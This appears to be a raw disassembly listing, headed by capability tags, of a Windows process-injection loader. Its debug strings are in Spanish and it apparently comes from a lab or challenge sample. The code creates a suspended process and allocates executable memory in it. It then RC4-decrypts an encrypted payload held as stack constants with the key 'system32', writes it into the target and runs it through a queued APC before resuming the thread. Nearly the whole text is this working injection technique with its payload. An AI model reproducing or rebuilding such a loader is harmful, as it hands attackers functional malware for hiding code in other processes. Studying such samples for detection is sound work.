Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
mov rdi, rdx
mov ebx, ecx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Muchas_variables_creadas_sin_propsito.
call fcn.1400019a0
mov rcx, rax
lea rdx, [0x140001b80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp ebx, 2
je 0x1400010d9
mov edx, ebx
lea rcx, str.____Nmero_de_argumentos_incorrecto._Se_esperaba_2__se_recibieron__d._n
call fcn.140001010
mov eax, 1
jmp 0x14000197f
mov qword [rsp + 0x3c0], r15
mov dword [rbp + 0xe0], 0x133fd608
mov dword [rbp + 0xe4], 0x9040ceee
mov dword [rbp + 0xe8], 0x2d346cbb
mov dword [rbp + 0xec], 0xec5245d2
mov dword [rbp + 0xf0], 0x1d13add1
mov dword [rbp + 0xf4], 0xd2950303
mov dword [rbp + 0xf8], 0x53fbf98
mov dword [rbp + 0xfc], 0xfcc6c476
mov dword [rbp + 0x100], 0x77a9e7a8
mov dword [rbp + 0x104], 0x55c37856
mov dword [rbp + 0x108], 0xbdf6df3a
mov dword [rbp + 0x10c], 0x58f71228
mov dword [rbp + 0x110], 0x4a8ed559
mov dword [rbp + 0x114], 0xd09fc943
mov dword [rbp + 0x118], 0xb350a9c4
mov dword [rbp + 0x11c], 0xfa1ae66c
mov dword [rbp + 0x120], 0x95756cfb
mov dword [rbp + 0x124], 0x8e8c8580
mov dword [rbp + 0x128], 0xb1946bcc
mov dword [rbp + 0x12c], 0xa9da92f2
mov dword [rbp + 0x130], 0xa82ecee
mov dword [rbp + 0x134], 0xe4c4e348
mov dword [rbp + 0x138], 0x1ab481fa
mov dword [rbp + 0x13c], 0x7ce45b9d
mov dword [rbp + 0x140], 0xc31cb56b
mov dword [rbp + 0x144], 0x4f4a7193
mov dword [rbp + 0x148], 0xb3d804b4
mov dword [rbp + 0x14c], 0x7b10b7d9
mov dword [rbp + 0x150], 0x2367f8f5
mov dword [rbp + 0x154], 0xc2a9eb65
mov dword [rbp + 0x158], 0x6a5d1cd1
mov dword [rbp + 0x15c], 0x3912aea2
mov dword [rbp + 0x160], 0xb5bc3ab3
mov dword [rbp + 0x164], 0xd6bfcf0b
mov dword [rbp + 0x168], 0x4018ad34
mov dword [rbp + 0x16c], 0x5051b245
mov dword [rbp + 0x170], 0xb2b0a9c4
mov dword [rbp + 0x174], 0xc4374ad1
mov dword [rbp + 0x178], 0x2ec62f97
mov dword [rbp + 0x17c], 0x5f0d9f0e
mov dword [rbp + 0x180], 0x701164a0
mov dword [rbp + 0x184], 0x444bbd58
mov dword [rbp + 0x188], 0x90f4f1f1
mov dword [rbp + 0x18c], 0xa7f8d76f
mov dword [rbp + 0x190], 0x5216f159
mov dword [rbp + 0x194], 0xed81f2a2
mov dword [rbp + 0x198], 0x39182fab
mov dword [rbp + 0x19c], 0x2a428a0d
mov dword [rbp + 0x1a0], 0xadc97690
mov dword [rbp + 0x1a4], 0xd6f9ff04
mov dword [rbp + 0x1a8], 0x16e2a647
mov dword [rbp + 0x1ac], 0x9e99494
mov dword [rbp + 0x1b0], 0x1b877510
mov dword [rbp + 0x1b4], 0xbd20a704
mov dword [rbp + 0x1b8], 0x5fd167ff
mov dword [rbp + 0x1bc], 0x45930980
mov dword [rbp + 0x1c0], 0x304f793d
mov dword [rbp + 0x1c4], 0x3f5ee529
mov dword [rbp + 0x1c8], 0x23428237
mov dword [rbp + 0x1cc], 0xb6b9831f
mov dword [rbp + 0x1d0], 0x6bb44d70
mov dword [rbp + 0x1d4], 0xdf6fd796
mov dword [rbp + 0x1d8], 0x617bf072
mov dword [rbp + 0x1dc], 0x8158f19e
mov dword [rbp + 0x1e0], 0x554fe9fe
mov dword [rbp + 0x1e4], 0xe4da862c
mov dword [rbp + 0x1e8], 0x57b4ec7
mov dword [rbp + 0x1ec], 0x5fbd7d54
mov dword [rbp + 0x1f0], 0x966030c3
mov dword [rbp + 0x1f4], 0xc6f23b51
mov dword [rbp + 0x1f8], 0x5c8761f3
mov dword [rbp + 0x1fc], 0x83e494b
mov dword [rbp + 0x200], 0x41a0957c
mov dword [rbp + 0x204], 0x3c87bf06
mov dword [rbp + 0x208], 0xfb1519c5
mov dword [rbp + 0x20c], 0xe2327028
mov dword [rbp + 0x210], 0x6f172751
mov dword [rbp + 0x214], 0x39323761
mov dword [rbp + 0x218], 0xb88acc3
mov dword [rbp + 0x21c], 0xfaf78d7c
mov edx, 0x1cc
mov dword [rbp + 0x220], 0xfde0de84
lea rcx, str._DEBUG__Tamao_del_cdigo:__zu_bytes_n
mov dword [rbp + 0x224], 0x19697f0b
mov dword [rbp + 0x228], 0x90dad84e
mov dword [rbp + 0x22c], 0x88a25a84
mov dword [rbp + 0x230], 0xd38637a9
mov dword [rbp + 0x234], 0x14ea6c51
mov dword [rbp + 0x238], 0xdca17471
mov dword [rbp + 0x23c], 0x327b9bac
mov dword [rbp + 0x240], 0xb0d4d989
mov dword [rbp + 0x244], 0x49a47aad
mov dword [rbp + 0x248], 0x4f009f76
mov dword [rbp + 0x24c], 0xa9e4a24a
mov dword [rbp + 0x250], 0xac78bd08
mov dword [rbp + 0x254], 0x224e492b
mov dword [rbp + 0x258], 0x7788afe8
mov dword [rbp + 0x25c], 0xafa8cb17
mov dword [rbp + 0x260], 0x6661d598
mov dword [rbp + 0x264], 0x203e1ecd
mov dword [rbp + 0x268], 0x716eb208
mov dword [rbp + 0x26c], 0xd217e9c2
mov dword [rbp + 0x270], 0xace9aa44
mov dword [rbp + 0x274], 0x748cf04b
mov dword [rbp + 0x278], 0x1d569a31
mov dword [rbp + 0x27c], 0x9d3c1af
mov dword [rbp + 0x280], 0x122450da
mov dword [rbp + 0x284], 0xfe0643ab
mov dword [rbp + 0x288], 0xbecf180a
mov dword [rbp + 0x28c], 0xaab441f7
mov dword [rbp + 0x290], 0xb39d2a7f
mov dword [rbp + 0x294], 0xb9892d33
mov dword [rbp + 0x298], 0x72137d24
mov dword [rbp + 0x29c], 0x297fdf2
mov dword [rbp + 0x2a0], 0xd2f403cb
mov dword [rbp + 0x2a4], 0xc3ba01fc
mov dword [rbp + 0x2a8], 0xa2f1dcf2
call fcn.140001010
mov edx, 0x1cc
lea rcx, str.___Tamao_del_cdigo_es_mayor_que_cero:__zu_n
call fcn.140001010
xorps xmm0, xmm0
mov dword [rbp + 0x70], 0x68
xor eax, eax
lea rcx, str.___La_estructura_STARTUPINFOA_fue_inicializada_correctamente._n
movups xmmword [rbp + 0x74], xmm0
mov dword [rbp + 0xd4], eax
movups xmmword [rbp + 0x84], xmm0
movups xmmword [rbp + 0x94], xmm0
movups xmmword [rbp + 0xa4], xmm0
movups xmmword [rbp + 0xb4], xmm0
movups xmmword [rbp + 0xc4], xmm0
call fcn.140001010
xorps xmm0, xmm0
lea rcx, str.___La_estructura_PROCESS_INFORMATION_fue_inicializada_correctamente._n
xor eax, eax
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
call fcn.140001010
mov rcx, qword [rdi + 8]
lea rax, [rbp + 0x50]
mov qword [rsp + 0x48], rax
xor r15d, r15d
lea rax, [rbp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r15
xor edx, edx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000195e
mov qword [rsp + 0x400], rsi
lea rcx, str.___Proceso_suspendido_creado_exitosamente._n
mov qword [rsp + 0x3c8], r14
call fcn.140001010
mov rsi, qword [rbp + 0x50]
test rsi, rsi
je 0x14000193e
lea rcx, str.___El_handle_del_proceso_es_vlido._n
call fcn.140001010
mov rdi, qword [rbp + 0x58]
test rdi, rdi
je 0x140001935
lea rcx, str.___El_handle_del_hilo_es_vlido._n
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x1cc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x14000191f
lea rcx, str.___Memoria_asignada_en_el_proceso_remoto._n
call fcn.140001010
lea rcx, str.___La_rutina_APC_fue_asignada_correctamente._n
call fcn.140001010
movdqa xmm2, xmmword [0x140003770]
lea rdx, [rsp + 0x54]
movdqa xmm3, xmmword [0x140003780]
mov ecx, 8
lea eax, [rcx - 8]
movd xmm0, eax
lea rdx, [rdx + 0x10]
pshufd xmm0, xmm0, 0
lea eax, [rcx - 4]
paddd xmm0, xmm2
movd xmm1, eax
pshufd xmm1, xmm1, 0
lea eax, [rcx + 4]
paddd xmm1, xmm2
andps xmm0, xmm3
andps xmm1, xmm3
packuswb xmm0, xmm0
packuswb xmm1, xmm1
packuswb xmm0, xmm0
movd dword [rdx - 0x14], xmm0
packuswb xmm1, xmm1
movd dword [rdx - 0x10], xmm1
movd xmm0, ecx
add ecx, 0x10
pshufd xmm0, xmm0, 0
paddd xmm0, xmm2
movd xmm1, eax
pshufd xmm1, xmm1, 0
andps xmm0, xmm3
paddd xmm1, xmm2
packuswb xmm0, xmm0
andps xmm1, xmm3
packuswb xmm0, xmm0
movd dword [rdx - 0xc], xmm0
lea eax, [rcx - 8]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [rdx - 8], xmm1
cmp eax, 0x100
jl 0x1400016d0
lea rcx, str._DEBUG__Inicializacin_de_la_matriz_S_completada._n
call fcn.140001010
xor dl, dl
lea r9, [rsp + 0x50]
mov r8d, r15d
lea r11, str.system32
nop
movzx r10d, byte [r9]
mov eax, r8d
movzx edx, dl
and eax, 7
movsx ecx, byte [rax + r11]
add edx, ecx
add edx, r10d
and edx, 0x800000ff
jge 0x1400017a9
dec edx
or edx, 0xffffff00
inc edx
movzx ecx, dl
inc r8d
movzx eax, byte [rsp + rcx + 0x50]
mov byte [r9], al
inc r9
mov byte [rsp + rcx + 0x50], r10b
cmp r8d, 0x100
jl 0x140001780
lea rcx, str._DEBUG__Permutacin_de_la_matriz_S_completada._n
call fcn.140001010
mov r9d, r15d
lea r10, [rbp + 0xe0]
xor r11b, r11b
mov ebx, r15d
inc r9d
and r9d, 0x800000ff
jge 0x1400017fd
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd r8, r9d
inc ebx
movzx edx, byte [rsp + r8 + 0x50]
add r11b, dl
movzx ecx, r11b
movzx eax, byte [rsp + rcx + 0x50]
mov byte [rsp + r8 + 0x50], al
mov byte [rsp + rcx + 0x50], dl
movzx ecx, byte [rsp + r8 + 0x50]
add rcx, rdx
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x50]
xor byte [r10], cl
inc r10
cmp ebx, 0x1cc
jb 0x1400017e4
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Decrypted:
call fcn.1400019a0
mov rbx, r15
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbp + rbx + 0xe0]
lea rcx, str.x_02x
call fcn.140001010
inc rbx
cmp rbx, 0x1cc
jb 0x140001860
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140001b80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x1cc
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0xe0]
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001909
lea rcx, str.___Cdigo_escrito_en_la_memoria_del_proceso_remoto._n
call fcn.140001010
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
je 0x1400018f3
lea rcx, str.___APC_encolada_exitosamente._n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
lea rcx, str.___Hilo_resumido._Has_ganado._n
jmp 0x140001945
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_al_encolar_la_APC:__lu_n
call fcn.140001010
jmp 0x14000194a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_al_escribir_en_la_memoria_del_proceso_remoto:__lu_n
call fcn.140001010
jmp 0x14000194a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_al_asignar_memoria_en_el_proceso_remoto:__lu_n
call fcn.140001010
jmp 0x14000194a
lea rcx, str.____El_handle_del_hilo_no_es_vlido._n
jmp 0x140001945
lea rcx, str.____El_handle_del_proceso_no_es_vlido._n
call fcn.140001010
mov r14, qword [rsp + 0x3c8]
xor eax, eax
mov rsi, qword [rsp + 0x400]
jmp 0x140001977
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_al_crear_el_proceso_suspendido:__lu_n
call fcn.140001010
mov eax, 1
mov r15, qword [rsp + 0x3c0]
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.140001c40
add rsp, 0x3d0
pop rdi
pop rbx
pop rbp
ret